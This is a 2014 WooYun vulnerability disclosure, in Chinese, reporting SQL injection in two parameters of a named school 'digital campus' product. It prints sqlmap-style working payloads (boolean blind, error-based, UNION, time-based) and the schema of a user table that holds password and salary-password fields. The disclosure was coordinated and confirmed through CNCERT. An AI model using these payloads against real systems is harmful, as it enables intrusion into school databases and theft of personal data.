当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053967

漏洞标题:某通用数字校园两处sql注射

相关厂商:北京乐知行软件有限公司

漏洞作者: Haswell

提交时间:2014-03-24 16:31

修复时间:2014-06-22 16:32

公开时间:2014-06-22 16:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-24: 细节已通知厂商并且等待厂商处理中
2014-03-28: 厂商已经确认,细节仅向厂商公开
2014-03-31: 细节向第三方安全合作伙伴开放
2014-05-22: 细节向核心白帽子及相关领域专家公开
2014-06-01: 细节向普通白帽子公开
2014-06-11: 细节向实习白帽子公开
2014-06-22: 细节向公众公开

简要描述:

就是这样。。。目测北京80%学校安装率(估计是政府重点扶持项目之类的)

详细说明:

http://www.lezhixing.com.cn/cms/lzx/case/index.jhtml
登陆后
/datacenter/gyTeacher/listing.do?
此处两个参数,
viewColumns
criteria
由于过滤不全存在sql注入

2.jpg

1.JPG

漏洞证明:

---
Place: GET
Parameter: criteria
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: criteria=1 AND 7060=7060
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: criteria=1 AND (SELECT 6192 FROM(SELECT COUNT(*),CONCAT(0x7177637471,(SELECT (CASE WHEN (6192=6192) THEN 1 ELSE 0 END)),0x71636d6f71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: criteria=1 UNION ALL SELECT CONCAT(0x7177637471,0x747a6943746d6d786443,0x71636d6f71)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: criteria=1 AND SLEEP(5)
---
web application technology: Nginx
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
注入,root权限
aq_user表里这样:
---
web application technology: Nginx
back-end DBMS: MySQL 5.0
Database: data_prd_v3
Table: aq_user
[36 columns]
+---------------------+--------------+
| Column | Type |
+---------------------+--------------+
| version | varchar(20) |
| ALLOWUPDATEQUESTION | bigint(22) |
| BLOCKED | bigint(22) |
| lastonlinetime | datetime |
| lzy_email | varchar(200) |
| NAME | varchar(30) |
| PASSWORD | varchar(200) |
| PWANSWER | varchar(60) |
| PWQUESTION | varchar(100) |
| salary_password | varchar(200) |
| SCRQ | timestamp |
| space_name | varchar(200) |
| spzt | varchar(20) |
| SUPERUSER | bigint(22) |
| syscode | varchar(255) |
| uid | int(11) |
| user_face | varchar(255) |
| USER_ID | varchar(32) |
| user_power | tinyint(4) |
| user_sign | varchar(255) |
| user_status | tinyint(4) |
| USERADDR | varchar(100) |
| USERBUILDDATE | timestamp |
| USERCHANGEPWSYMBOL | bigint(22) |
| USEREMAIL | varchar(100) |
| USERFORBIDSYMBOL | bigint(22) |
| USERINVALIDDATE | timestamp |
| USERINVALIDSYMBOL | bigint(22) |
| USERLOCKDATE | timestamp |
| USERNAME | varchar(60) |
| USERNUMBER | varchar(32) |
| USERPWINVALIDDATE | timestamp |
| USERPWMINLENGTH | decimal(5,0) |
| USERTEL | varchar(30) |
| USERTYPE | varchar(2) |
| zjhm | varchar(40) |
+---------------------+--------------+
viewColumns参数也是一样。

修复方案:

过滤
求cnvd证书一枚~ ……快要申请大学咯有用==

版权声明:转载请注明来源 Haswell@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-03-28 15:51

厂商回复:

CNVD确认所述情况(复现过程由教育网应急组织——上海交通大学网络信息中心协助完成),根据测试结果,主要影响中学。

最新状态:

暂无